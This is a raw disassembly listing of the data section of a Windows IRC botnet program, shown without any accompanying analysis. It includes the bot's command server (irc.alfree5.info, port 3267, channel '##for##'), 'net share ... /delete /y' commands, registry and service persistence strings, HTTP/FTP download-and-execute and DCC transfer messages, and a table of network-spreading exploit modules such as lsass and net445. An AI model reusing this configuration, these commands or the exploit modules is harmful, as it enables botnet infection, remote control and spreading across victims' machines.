dword_442B10 dd 19930520h, 1, 442B30h, 5 dup(0) dd 0FFFFFFFFh, 43CAC0h, 2 dup(0)
dword_442B40 dd 19930520h, 1, 442B60h, 5 dup(0) dd 0FFFFFFFFh, 43CAE0h, 2 dup(0)
dword_442B70 dd 19930520h, 1, 442B90h, 5 dup(0) dd 0FFFFFFFFh, 43CB00h, 2 dup(0)
dword_442BA0 dd 19930520h, 1, 442BC0h, 5 dup(0) dd 0FFFFFFFFh, 43CB20h, 2 dup(0)
dword_442BD0 dd 19930520h, 1, 442BF0h, 5 dup(0) dd 0FFFFFFFFh, 43CB40h, 2 dup(0)
dword_442C00 dd 19930520h, 1, 442C20h, 5 dup(0) dd 0FFFFFFFFh, 43CB60h, 2 dup(0)
dword_442C30 dd 19930520h, 1, 442C50h, 5 dup(0) dd 0FFFFFFFFh, 43CB80h, 2 dup(0)
dword_442C60 dd 19930520h, 1, 442C80h, 5 dup(0) dd 0FFFFFFFFh, 43CBA0h, 2 dup(0)
dword_442C90 dd 19930520h, 6, 442CB0h, 5 dup(0) dd 0FFFFFFFFh, 43CBC0h, 0
dd offset loc_43CBC8
dd 1, 43CBD3h, 2, 43CBDEh, 3, 43CBE9h, 4, 43CBF4h, 2 dup(0)
dword_442CE8 dd 19930520h, 6, 442D08h, 5 dup(0) dd 0FFFFFFFFh, 43CC20h, 0
dd offset loc_43CC28
dd 1, 43CC33h, 2, 43CC3Eh, 3, 43CC49h, 4, 43CC54h, 2 dup(0)
dword_442D40 dd 19930520h, 3, 442D60h, 5 dup(0) dd 0FFFFFFFFh, 43CC80h, 0
dd offset loc_43CC88
dd 1, 43CC96h, 2 dup(0)
dword_442D80 dd 19930520h, 16h, 442DA0h, 5 dup(0) dd 0FFFFFFFFh, 43CCC0h, 0
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
align 2
dw 43h
dd 1, 43CCD6h, 2, 43CCE1h, 2, 43CCECh, 2, 43CCF7h, 2, 43CD02h
dd 6, 43CD0Dh, 2, 43CD18h, 8, 43CD23h, 2, 43CD2Eh, 0Ah
dd 43CD39h, 2, 43CD44h, 0Ch, 43CD4Fh, 0Dh, 43CD5Ah, 0Eh
dd 43CD65h, 0Fh, 43CD70h, 0Fh, 43CD7Bh, 0Fh, 43CD86h, 0Fh
dd 43CD91h, 0Fh, 43CD9Ch, 0Fh, 43CDA7h, 6 dup(0)
dword_442E68 dd 19930520h, 1, 442E88h, 5 dup(0) dd 0FFFFFFFFh, 43CE00h, 2 dup(0)
dword_442E98 dd 19930520h, 1, 442EB8h, 5 dup(0) dd 0FFFFFFFFh, 43CE20h, 2 dup(0)
dword_442EC8 dd 19930520h, 1, 442EE8h, 5 dup(0) dd 0FFFFFFFFh, 43CE40h, 2 dup(0)
dword_442EF8 dd 19930520h, 1, 442F18h, 5 dup(0) dd 0FFFFFFFFh, 43CE60h, 2 dup(0)
dword_442F28 dd 19930520h, 1, 442F48h, 5 dup(0) dd 0FFFFFFFFh, 43CE80h, 2 dup(0)
dword_442F58 dd 19930520h, 2, 442F78h, 1, 442F88h, 3 dup(0) dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 442FA0h, 4 dup(0)
dd offset loc_42C244
dd 2 dup(0)
dword_442FB8 dd 19930520h, 2, 442FD8h, 1, 442FE8h, 3 dup(0) dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 443000h, 4 dup(0)
dd offset loc_42C321
dd 2 dup(0)
dword_443018 dd 19930520h, 3, 443038h, 5 dup(0) dd 0FFFFFFFFh, 43CEC0h, 0
dd offset loc_43CEC8
dd 1, 43CED0h, 2 dup(0)
dword_443058 dd 19930520h, 1, 443078h, 5 dup(0) dd 0FFFFFFFFh, 43CF00h, 2 dup(0)
dword_443088 dd 19930520h, 1, 4430A8h, 5 dup(0) dd 0FFFFFFFFh, 43CF20h, 2 dup(0)
dword_4430B8 dd 19930520h, 1, 4430D8h, 5 dup(0) dd 0FFFFFFFFh, 43CF40h, 2 dup(0)
dword_4430E8 dd 19930520h, 1, 443108h, 5 dup(0) dd 0FFFFFFFFh, 43CF60h, 2 dup(0)
dword_443118 dd 19930520h, 1, 443138h, 5 dup(0) dd 0FFFFFFFFh, 43CF80h, 2 dup(0)
dword_443148 dd 19930520h, 6, 443168h, 5 dup(0) dd 0FFFFFFFFh, 43CFA0h, 0FFFFFFFFh, 43CFA8h, 0FFFFFFFFh
dd 43CFB0h, 0FFFFFFFFh, 43CFB8h, 0FFFFFFFFh, 43CFC0h, 0FFFFFFFFh
dd 43CFC8h, 2 dup(0)
dword_4431A0 dd 19930520h, 16h, 4431C0h, 5 dup(0) dd 0FFFFFFFFh, 43CFF0h, 0FFFFFFFFh, 43CFFBh, 0FFFFFFFFh
dd 43D003h, 0FFFFFFFFh, 43D00Bh, 0FFFFFFFFh, 43D013h, 0FFFFFFFFh
dd 43D01Eh, 0FFFFFFFFh, 43D026h, 0FFFFFFFFh, 43D02Eh, 0FFFFFFFFh
dd 43D036h, 0FFFFFFFFh, 43D041h, 0FFFFFFFFh, 43D049h, 0FFFFFFFFh
dd 43D051h, 0FFFFFFFFh, 43D05Ch, 0FFFFFFFFh, 43D064h, 0Dh
dd 43D06Ch, 0Eh, 43D074h, 0Eh, 43D07Ch, 0Eh, 43D084h, 0Eh
dd 43D08Ch, 12h, 43D094h, 13h, 43D09Ch, 0Eh, 43D09Ch, 6 dup(0)
dword_443288 dd 19930520h, 2, 4432A8h, 5 dup(0) dd 0FFFFFFFFh, 43D0E0h, 0FFFFFFFFh, 43D0E8h, 2 dup(0)
dword_4432C0 dd 19930520h, 2, 4432E0h, 5 dup(0) dd 0FFFFFFFFh, 43D100h, 0
dd offset loc_43D10B
dd 2 dup(0)
dword_4432F8 dd 19930520h, 1, 443318h, 5 dup(0) dd 0FFFFFFFFh, 43D130h, 2 dup(0)
dword_443328 dd 19930520h, 2, 443348h, 5 dup(0) dd 0FFFFFFFFh, 43D150h, 0FFFFFFFFh, 43D158h, 2 dup(0)
dword_443360 dd 19930520h, 0Ah, 443380h, 5 dup(0) dd 0FFFFFFFFh, 43D170h, 0FFFFFFFFh, 43D17Bh, 0FFFFFFFFh
dd 43D186h, 0FFFFFFFFh, 43D191h, 0FFFFFFFFh, 43D19Ch, 0FFFFFFFFh
dd 43D1A7h, 0FFFFFFFFh, 43D1B2h, 0FFFFFFFFh, 43D1BDh, 0FFFFFFFFh
dd 43D1C8h, 0FFFFFFFFh, 43D1D3h, 34Dh dup(0)
dd offset aRrrrrrrrrrrrrr+1Fh
dd offset aRrrrrrrrrr+7Ah
dd 105h dup(0)
aABCDEFGHIJKLMN db 'a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t|u|v|w|x|y|z|A|B|C|D|E|F|G'
; DATA XREF: sub_403530+7Fo
db '|H|I|J|K|L|M|N|O|P|Q|R|S|T|U|V|W|X|Y|Z|!|?|#|$|%|^|&|*|(|)|_|+|[|'
db '`|]|0|1|2|3|4|5|6|7|8|9| |.|\|-|/|:|"|@',0
align 4
dd 8 dup(0)
asc_4445EC: ; DATA XREF: sub_403530+66o
; sub_410030:loc_41090Eo ...
unicode 0, <|>,0
aS db '%s',0 ; DATA XREF: sub_404CC0+86Fo
; sub_404CC0+AEBo ...
align 4
aSS_0 db '%s %s',0Dh,0Ah,0 ; DATA XREF: sub_404CC0+82Bo
; sub_404CC0+B58o ...
align 10h
asc_444600: ; DATA XREF: sub_404690:loc_40476Fo
; sub_404690+1EDo ...
unicode 0, < >,0
aO db ' -o',0 ; DATA XREF: sub_404690+75o
; sub_410030:loc_410A19o ...
aNetShareAdminD db 'net share admin$ /delete /y',0
dd 2 dup(0)
aNetShareIpcDel db 'net share ipc$ /delete /y',0
align 4
dd 0
aNetShareDDelet db 'net share d$ /delete /y',0
align 8
aNetShareCDelet db 'net share c$ /delete /y',0
dd 0
dword_444684 dd 255C7325h, 73h ; sub_40D040+DEo ...
aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_404CC0+D72o
align 8
aN: ; DATA XREF: sub_404CC0+D1Do
unicode 0, <N>,0
aExecutedS_ db 'Executed: %s.',0 ; DATA XREF: sub_404CC0+971o
align 4
aResolve_errorS db 'resolve.error %s.',0 ; DATA XREF: sub_404CC0+75Co
align 10h
dd 0
aSS_1 db '%s -> %s',0 ; DATA XREF: sub_404CC0+6CFo
align 10h
aSResolvedS db '%s resolved %s',0 ; DATA XREF: sub_404CC0+610o
align 10h
dd 0
aOpen db 'open',0 ; DATA XREF: sub_404CC0+444o
; sub_41C130+Eo
align 4
aExec_error db 'exec.error',0 ; DATA XREF: sub_404CC0+1A3o
; sub_404CC0+9ABo ...
align 4
dd 0
aUpDdDhDm db 'up: %dd %dh %dm',0 ; DATA XREF: sub_406730+C3o
align 10h
aCpuDmhz_Memory db 'CPU: %dMHz. Memory: %dMB/%dMB. OS: Win %s (%d.%d, Build %d). upti'
; DATA XREF: sub_4068E0+20Fo
db 'me: %dd %dh %dm box: %s. user: %s.',0
dd 5 dup(0)
aSS_2 db '%s [%s]',0 ; DATA XREF: sub_4068E0+125o
dd 0
a??? db '???',0 ; DATA XREF: sub_4068E0:loc_4069DBo
a2003 db '2003',0 ; DATA XREF: sub_4068E0+F4o
align 10h
aXp db 'XP',0 ; DATA XREF: sub_4068E0+EAo
align 4
a2000 db '2000',0 ; DATA XREF: sub_4068E0+DEo
align 4
aMe db 'ME',0 ; DATA XREF: sub_4068E0+C7o
align 10h
a98 db '98',0 ; DATA XREF: sub_4068E0+BBo
align 4
aNt db 'NT',0 ; DATA XREF: sub_4068E0+AFo
align 4
a95 db '95',0 ; DATA XREF: sub_4068E0+9Co
align 4
aBai db '-bai',0 ; DATA XREF: ___:loc_406E3Do
; ___:00406E85o
align 4
aNetsvcs db '-netsvcs',0 ; DATA XREF: ___:loc_406E00o
; sub_40ED00+88o
align 10h
aUpdate db '-update',0 ; DATA XREF: ___:00406DC3o
dd 0
dword_4447EC dd 6265642Dh, 6775hdword_4447F4 dd 6425h ; ___:004087A2o ...
dword_4447F8 dd 2Eh ; ___:0041B2DAo ...
aMicrosoftVisua db 'MicroSoft Visual SP01',0 ; DATA XREF: sub_4077E0+403o
align 8
aEvil db 'evil',0 ; DATA XREF: sub_4077E0+3F2o
align 10h
aFeeling_nasty db 'feeling.nasty',0 ; DATA XREF: sub_4077E0+3E1o
align 10h
aSet db 'set',0 ; DATA XREF: sub_4077E0+359o
asc_444834 db 'X-',0 ; DATA XREF: sub_4077E0+348o
align 4
aAyssds4ddklfsd db 'ayssds4ddklfsdsdsfssas',0 ; DATA XREF: sub_4077E0+337o
align 10h
dd 0
aIgfsfdfsd3sda2 db 'igfsfdfsd3sda2ss.exe',0 ; DATA XREF: sub_4077E0+326o
align 10h
aXkey db 'Xkey',0 ; DATA XREF: sub_4077E0+318o
align 4
aFor db '##for',0 ; DATA XREF: sub_4077E0+307o
align 10h
aFor_0 db '##for##',0 ; DATA XREF: sub_4077E0+2F6o
dd 0
a3267 db '3267',0 ; DATA XREF: sub_4077E0+29Bo
align 4
aIrc_alfree5_in db 'irc.alfree5.info',0 ; DATA XREF: sub_4077E0+283o
align 4
off_4448A8 dd offset off_43F1D4 ; DATA XREF: ___:00440014o
align 10h
a_?avexception@ db '.?AVexception@@',0
dd 2 dup(0)
off_4448C8 dd offset off_43F1D4 ; DATA XREF: ___:00440034o
align 10h
a_?avlogic_erro db '.?AVlogic_error@std@@',0
align 10h
off_4448F0 dd offset off_43F1D4 ; DATA XREF: ___:00440054o
align 8
a_?avout_of_ran db '.?AVout_of_range@std@@',0
align 10h
dd 2 dup(0)
aInvalidVectorT db 'invalid vector<T> subscript',0 ; DATA XREF: sub_409660+21o
; ___:0040AA51o
dd 2 dup(0)
aTrue db 'true',0 ; DATA XREF: sub_40B760+3Fo
; sub_40B7E0+43o ...
align 4
aF db '%f',0 ; DATA XREF: ___:0040B87Fo
align 4
aFalse db 'false',0 ; DATA XREF: ___:0040B924o
align 10h
aSSWasS db '%s = "%s" [was "%s"]',0 ; DATA XREF: ___:0040BC3Ao
align 4
dd 0
aSS_5 db '%s = "%s"',0 ; DATA XREF: ___:0040BB57o
align 4
aDSSS db '[%d] "%s" = "%s" ("%s")',0 ; DATA XREF: ___:0040BA91o
dd 0
aCvar db '(cvar)',0 ; DATA XREF: ___:0040BA04o
align 4
aDccSocketError db 'dcc: socket error',0 ; DATA XREF: sub_40C4E0+52Ao
align 10h
dd 0
aDccCompleteToS db 'dcc: complete to %s, file: %s, (%d bytes)',0
; DATA XREF: sub_40C4E0+48Ao
align 10h
dd 2 dup(0)
aDccUnableToOpe db 'dcc: unable to open socket',0 ; DATA XREF: sub_40C4E0+377o
align 8
aDccTimeout db 'dcc: timeout',0 ; DATA XREF: sub_40C4E0+327o
align 4
dword_444A18 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
; DATA XREF: sub_40C4E0+296o
dd 169h, 0
aDccFileDoesn_0 db '[DCC]: File doesn',27h,'t exist.',0 ; DATA XREF: sub_40C4E0+230o
align 10h
dd 0
aDccFileDoesnTE db 'dcc: file doesn',27h,'t exist',0 ; DATA XREF: sub_40C4E0+218o
align 10h
aDccFailedToOpe db 'dcc: failed to open socket',0 ; DATA XREF: sub_40C4E0+1BBo
align 10h
aDccFailedToBin db 'dcc: failed to bind socket',0 ; DATA XREF: sub_40C4E0+110o
align 10h
aDccFailedToCre db '[DCC]: Failed to create socket.',0 ; DATA XREF: sub_40C4E0+B8o
dd 2 dup(0)
aFilesFoundD db 'Files Found: %d',0 ; DATA XREF: sub_40CC90+1B1o
dd 0
asc_444AEC: ; DATA XREF: sub_40CC90+113o
; sub_4201F0+100o
unicode 0, <\>,0
aFoundSS db 'Found: %s\%s',0 ; DATA XREF: sub_40D040+115o
align 10h
aS_1 db '%s\*',0 ; DATA XREF: sub_40D040+1Fo
align 4
aExplorer_exe db '\explorer.exe',0 ; DATA XREF: ___:0040D559o
align 4
aBai_0 db ' -bai ',0
align 10h
aSCS db '%s%c%s',0
align 4
aProcess32next db 'Process32Next',0 ; DATA XREF: sub_40D660+D1o
align 4
aProcess32first db 'Process32First',0 ; DATA XREF: sub_40D660+C4o
align 4
dd 0
aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40D660+B7o
align 4
dd 0
aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_40D660+AFo
align 8
aKernel32_dll_0 db 'kernel32.dll',0 ; DATA XREF: sub_40D660+98o
align 4
aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40DC20+4D3o
align 10h
dd 0
aSSSSSSSSSS db '%s',0Dh,0Ah ; DATA XREF: sub_40DC20+37Co
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,'%s',0Dh,0Ah
db '%s',0Dh,'%s',0Dh,0Ah,0
align 4
dd 2 dup(0)
aSS_4 db '"%s" %s',0 ; DATA XREF: sub_40EE40+6Ao
align 10h
aServicesactive db 'ServicesActive',0 ; DATA XREF: sub_40EE40+21o
; sub_40F060+Ao ...
align 10h
dd 0
aServDelS_ db 'serv(del) "%s".',0 ; DATA XREF: ___:0040F511o
align 8
aServAddSAsSS_ db 'serv(add) "%s" as ""%s" %s".',0 ; DATA XREF: ___:0040F454o
align 4
dd 0
aRegDelS_ db 'reg(del) "%s".',0 ; DATA XREF: ___:0040F359o
align 10h
aRegAddSAsS_ db 'reg(add) "%s" as "%s".',0 ; DATA XREF: ___:0040F2ADo
align 4
dd 0
asc_444C6C db ' :',0 ; DATA XREF: sub_410030+E2Bo
; sub_410030+1118o ...
align 10h
asc_444C70: ; DATA XREF: sub_410030+CACo
; sub_410030+D15o ...
unicode 0, <!>,0
aN_0 db ' -n',0 ; DATA XREF: sub_410030:loc_4109F8o
; sub_410030:loc_410C87o
aS_2 db ' -s',0 ; DATA XREF: sub_410030:loc_4109CFo
; sub_410030:loc_410C66o
asc_444C7C: ; DATA XREF: sub_410030+871o
; sub_410030:loc_410CA8o ...
unicode 0, <:>,0
a@: ; DATA XREF: sub_410030+7CCo
; sub_410030+D2Do ...
unicode 0, <@>,0
aSSS_0 db '%s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_410030+65Do
; sub_410030+732o ...
align 10h
dd 0
aSSSS00S db '%s %s',0Dh,0Ah ; DATA XREF: sub_410030+355o
db '%s %s 0 0 :%s',0Dh,0Ah,0
align 10h
aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_410030+2C4o
; sub_412780+91o ...
align 10h
aSSSS db '%s %s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_4120B0+4E3o
align 10h
aS_3 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_4120B0+386o
; sub_426070+12Do ...
align 4
aSSS_1 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_4120B0+CBo
; sub_412A40+8Fo
align 8
aPublic db '[PUBLIC]',0 ; DATA XREF: sub_412780:loc_41288Bo
align 4
aPrivate db '[PRIVATE]',0 ; DATA XREF: sub_412780+104o
align 10h
a_ db '. ',0 ; DATA XREF: sub_412780+CAo
; sub_412780+E5o
align 4
aLan db 'lan: ',0 ; DATA XREF: sub_412780+AEo
align 4
aUptime db 'uptime',0 ; DATA XREF: ___:loc_412FF7o
align 4
aHost db 'host',0 ; DATA XREF: ___:loc_412FA4o
align 4
aId db 'id',0 ; DATA XREF: ___:loc_412F4Ao
align 10h
asc_444D20: ; DATA XREF: ___:loc_412F33o
dw 3Ch
unicode 0, <>,0
asc_444D24: ; DATA XREF: ___:loc_412F1Co
dw 3Eh
unicode 0, <>,0
asc_444D28 db '==',0 ; DATA XREF: ___:loc_412F05o
align 4
asc_444D2C db '!=',0 ; DATA XREF: ___:00412EF1o
align 10h
a2_2x db '%2.2X',0 ; DATA XREF: sub_4138B0+B7o
align 4
aSS_6 db '%s: %s',0 ; DATA XREF: sub_4193C0+30Fo
align 10h
aSD_0 db '%s: %d',0 ; DATA XREF: sub_4193C0+2E7o
align 4
aSD_1 db '%s:%d',0 ; DATA XREF: sub_4193C0+272o
; sub_4193C0+29Bo
align 10h
aListening db 'listening',0 ; DATA XREF: sub_4193C0+210o
align 4
aEstablished db 'established',0 ; DATA XREF: sub_4193C0+205o
dd 0
off_444D6C dd offset dword_504354 ; DATA XREF: sub_4193C0+140o
; ___:0042C5F2o ...
dword_444D70 dd 2D464544h, 504354h, 0 ; sub_4193C0+12Eo
dword_444D7C dd 652Dh dword_444D80 dd 6C2Dh a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_419BE0+82o
align 4
dd 0
aSS_3 db '%s%s',0 ; DATA XREF: ___:00419DF1o
align 4
aSSS db '%s%s%s',0 ; DATA XREF: ___:00419DCCo
align 4
byte_444DBC db 1 ; DATA XREF: sub_41A390r
align 10h
dword_444DC0 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
; ---------------------------------------------------------------------------
loc_444E0C: ; DATA XREF: ___:00421859o
mov al, 1
push edx
xchg eax, edi
retf 0D059h
; ---------------------------------------------------------------------------
db 11h
dd 0A000D5A8h, 51800DC9h, 0
dword_444E20 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0dword_444E34 dd 3000005h, 10h, 18h, 1, 0Ah dup(0)dword_444E6C dd 63257325h, 0 ; sub_41F960+E5o
dword_444E74 dd 72h dword_444E78 dd 30h ; sub_424920+327o
dword_444E7C dd 3039h dword_444E80 dd 383631h dword_444E84 dd 323931h dword_444E88 dd 3631h dword_444E8C dd 323731h dword_444E90 dd 3031h off_444E94 dd offset dword_5C005C ; DATA XREF: ___:0041C217r
; ___:0041C387r
word_444E98 dw 0 ; DATA XREF: ___:0041C221r
; ___:0041C391r
align 4
off_444E9C dd offset dword_49005C ; DATA XREF: ___:0041C1E6r
; ___:0041C356r
off_444EA0 dd offset loc_43004E+2 ; DATA XREF: ___:0041C1EBr
; ___:0041C35Br
dword_444EA4 dd 24h ; ___:0041C37Fr
dd 0
aDlEdUpdateS db 'dl',27h,'ed-update: %s',0 ; DATA XREF: sub_41D930+5F5o
align 10h
aOpenS_ db 'open %s.',0 ; DATA XREF: sub_41D930+5BAo
align 4
aDlDone_S_ db 'dl, done. %s .',0 ; DATA XREF: sub_41D930+567o
align 10h
asc_444EE0 db 0Dh,0Ah ; DATA XREF: sub_41D930+48Fo
db 0Dh,0Ah,0
align 4
aHttpBadopen db 'http(badopen)',0 ; DATA XREF: sub_41D930+3F1o
align 4
aWb db 'wb',0 ; DATA XREF: sub_41D930+3C0o
; ___:0041FD87o
align 4
aHttpGetting db 'http(getting)',0 ; DATA XREF: sub_41D930+3AFo
align 4
aGetSHttp1_0Con db 'GET %s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41D930+36Do
db 'Connection: Keep-Alive',0Dh,0Ah
db 'User-Agent: Mozilla/4.5',0Dh,0Ah
db 'Host: %s:%d',0Dh,0Ah
db 0Dh,0Ah,0
align 10h
dd 4 dup(0)
aHttpBadconnect db 'http(badconnect)',0 ; DATA XREF: sub_41D930+327o
align 4
aFtpBaddl db 'ftp(baddl)',0 ; DATA XREF: sub_41D930+2A3o
align 10h
dd 0
aFtpGetting db 'ftp(getting)',0 ; DATA XREF: sub_41D930+25Ao
align 4
aFtpBadlogin db 'ftp(badlogin)',0 ; DATA XREF: sub_41D930+224o
align 4
aFtpBadconnect db 'ftp(badconnect)',0 ; DATA XREF: sub_41D930+1CEo
align 8
aSysLogoff db 'sys(logoff)',0 ; DATA XREF: ___:0041E47Eo
align 8
aSysSd db 'sys(sd)',0 ; DATA XREF: ___:0041E42Fo
dd 0
dword_444FE4 dd 28737973h, 6F626572h, 29746Fh, 0dword_444FF4 dd 6469706Bh, 7325203Ah, 0dword_445000 dd 203A736Bh, 7325hdword_445008 dd 202E6425h, 7325202Fh, 0dword_445014 dd 203A706Bh, 7325haD_PidDS db '%d. - Pid: %d - "%s"',0 ; DATA XREF: sub_41E760+130o
align 8
a221 db '221 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030+694o
; sub_41F030+6A9o
align 10h
a226 db '226 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030:loc_41F695o
; sub_41F030+677o
align 4
aFtpD_D_D_DDByt db 'ftp: %d.%d.%d.%d -> (%d bytes) (total sends: %d)',0
; DATA XREF: sub_41F030+62Bo
align 4
dd 2 dup(0)
aRb db 'rb',0 ; DATA XREF: sub_41F030+53Fo
align 4
a150 db '150 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030+505o
; sub_41F030+51Ao
align 10h
asc_445090: ; DATA XREF: sub_41F030+2EFo
; sub_41F030+33Ao ...
unicode 0, <,>,0
a200 db '200 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030+286o
; sub_41F030+29Bo ...
align 4
a230 db '230 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030+254o
; sub_41F030+269o
align 4
a331 db '331 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030+222o
; sub_41F030+237o
align 4
a220 db '220 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030+1F3o
; sub_41F030+205o
align 4
aFtpD_D_D_DOnD db 'ftp: %d.%d.%d.%d on %d',0 ; DATA XREF: sub_41F030+17Eo
align 10h
aDDUseridUnixS db '%d, %d : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_41F960+13Co
align 10h
dd 0
aBinres db 'BINRES',0 ; DATA XREF: ___:0041FDBDo
align 4
aUnknown db 'unknown',0 ; DATA XREF: sub_420090:loc_4200E5o
; sub_420630+C4r ...
align 8
aImagepath db 'ImagePath',0 ; DATA XREF: sub_4201F0+CBo
; sub_4208E0+316o
align 4
aSystemCurrentc db 'SYSTEM\CurrentControlSet\Services\%s',0 ; DATA XREF: sub_4201F0+73o
; sub_4208E0+2BEo
align 10h
aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_4204D0+63o
align 4
aGetmodulefilen db 'GetModuleFileNameExA',0 ; DATA XREF: sub_420630+72o
align 10h
aEnumprocessmod db 'EnumProcessModules',0 ; DATA XREF: sub_420630+64o
align 8
aEnumprocesses db 'EnumProcesses',0 ; DATA XREF: sub_420630+52o
align 4
aPsapi_dll db 'PSAPI.DLL',0 ; DATA XREF: sub_420630+20o
; sub_420630+34o
align 4
aSS db '[%s] [%s]',0 ; DATA XREF: sub_4208E0+34Co
align 10h
aS????_exe db '[%s] [????.exe]',0 ; DATA XREF: sub_4208E0+32Do
dd 0
aS????_exeUnkno db '[%s] [????.exe] (Unknown key)',0 ; DATA XREF: sub_4208E0+2F3o
align 8
aThemes db 'Themes',0 ; DATA XREF: sub_4208E0+1F6o
align 10h
aSrservice db 'srservice',0 ; DATA XREF: sub_4208E0+1EBo
align 4
aWuauserv db 'wuauserv',0 ; DATA XREF: sub_4208E0+1E0o
align 4
aWzcsvc db 'WZCSVC',0 ; DATA XREF: sub_4208E0+1D5o
align 10h
aWinmgmt db 'winmgmt',0 ; DATA XREF: sub_4208E0+1CAo
dd 0
aWebclient db 'WebClient',0 ; DATA XREF: sub_4208E0+1BFo
align 4
aW32time db 'W32Time',0 ; DATA XREF: sub_4208E0+1B4o
dd 0
aUpnphost db 'upnphost',0 ; DATA XREF: sub_4208E0+1A9o
align 10h
aUploadmgr db 'uploadmgr',0 ; DATA XREF: sub_4208E0+19Eo
align 4
aTrkwks db 'TrkWks',0 ; DATA XREF: sub_4208E0+193o
align 4
aTermservice db 'TermService',0 ; DATA XREF: sub_4208E0+188o
dd 0
aTapisrv db 'TapiSrv',0 ; DATA XREF: sub_4208E0+17Do
align 10h
aStisvc db 'stisvc',0 ; DATA XREF: sub_4208E0+172o
align 4
aSsdpsrv db 'SSDPSRV',0 ; DATA XREF: sub_4208E0+167o
dd 0
aSpooler db 'Spooler',0 ; DATA XREF: sub_4208E0+15Co
align 10h
aShellhwdetecti db 'ShellHWDetection',0 ; DATA XREF: sub_4208E0+151o
align 4
aSens db 'SENS',0 ; DATA XREF: sub_4208E0+146o
align 4
aSeclogon db 'seclogon',0 ; DATA XREF: sub_4208E0+13Bo
align 4
aSchedule db 'Schedule',0 ; DATA XREF: sub_4208E0+130o
align 4
aSamss db 'SamSs',0 ; DATA XREF: sub_4208E0+125o
align 4
aRpcss db 'RpcSs',0 ; DATA XREF: sub_4208E0+11Ao
align 4
aRasman db 'RasMan',0 ; DATA XREF: sub_4208E0+10Fo
align 4
aProtectedstora db 'ProtectedStorage',0 ; DATA XREF: sub_4208E0+104o
align 10h
aPolicyagent db 'PolicyAgent',0 ; DATA XREF: sub_4208E0+F9o
align 10h
aPlugplay db 'PlugPlay',0 ; DATA XREF: sub_4208E0+EEo
align 4
off_44530C dd offset word_616C4E ; DATA XREF: sub_4208E0+E3o
aNetman db 'Netman',0 ; DATA XREF: sub_4208E0+D8o
align 4
aMessenger db 'Messenger',0 ; DATA XREF: sub_4208E0+CDo
align 4
off_445324 dd offset byte_4D444D ; DATA XREF: sub_4208E0+C5o
aLmhosts db 'LmHosts',0 ; DATA XREF: sub_4208E0+BDo
dd 0
aLanmanworkstat db 'lanmanworkstation',0 ; DATA XREF: sub_4208E0+B5o
align 4
dd 0
aLanmanserver db 'lanmanserver',0 ; DATA XREF: sub_4208E0+ADo
align 4
aHelpsvc db 'helpsvc',0 ; DATA XREF: sub_4208E0+A5o
align 8
aFastuserswitch db 'FastUserSwitchingCompatibility',0 ; DATA XREF: sub_4208E0+9Do
align 10h
aEventsystem db 'EventSystem',0 ; DATA XREF: sub_4208E0+95o
align 10h
aEventlog db 'Eventlog',0 ; DATA XREF: sub_4208E0+8Do
align 4
aErsvc db 'ERSvc',0 ; DATA XREF: sub_4208E0+85o
align 4
aDnscache db 'Dnscache',0 ; DATA XREF: sub_4208E0+7Do
align 10h
aDmserver db 'dmserver',0 ; DATA XREF: sub_4208E0+75o
align 4
aDhcp db 'Dhcp',0 ; DATA XREF: sub_4208E0+6Do
align 4
aCryptsvc db 'CryptSvc',0 ; DATA XREF: sub_4208E0+65o
align 10h
aBrowser db 'Browser',0 ; DATA XREF: sub_4208E0+5Do
dd 0
aAudiosrv db 'AudioSrv',0 ; DATA XREF: sub_4208E0+55o
; sub_4208E0:loc_420B6Bo
align 4
asc_4453F8: ; DATA XREF: sub_420F10:loc_420FCFo
; sub_420F10+F9o ...
unicode 0, </>,0
aFtp db 'ftp',0 ; DATA XREF: sub_420F10+94o
; sub_420F10:loc_42117Eo ...
aHttp db 'http',0 ; DATA XREF: sub_420F10+84o
; sub_420F10+257o ...
align 4
aAsn db 'asn',0 ; DATA XREF: sub_4228F0+31o
dd 0
dd 73610000h, 6Eh, 6 dup(0)
dword_445430 dd 1BDh ; sub_422B40+310o ...
off_445434 dd offset sub_401820 ; DATA XREF: ___:00423F8Dr
dword_445438 dd 0 ; sub_4236F0+3Ar ...
dd 1, 0
aAsn2 db 'asn2',0
align 4
dd 73610000h, 326Eh, 6 dup(0)
dd 1BDh, 401820h, 0
dd 1, 0
aNet445 db 'net445',0
align 4
dd 656E0000h, 35343474h, 6 dup(0)
dd 1BDh, 402199h, 0
dd 1, 0
aLsass db 'lsass',0
align 4
dd 736C0000h, 737361h, 6 dup(0)
dd 1BDh, 401DCAh, 0
dd 1, 1Fh dup(0)
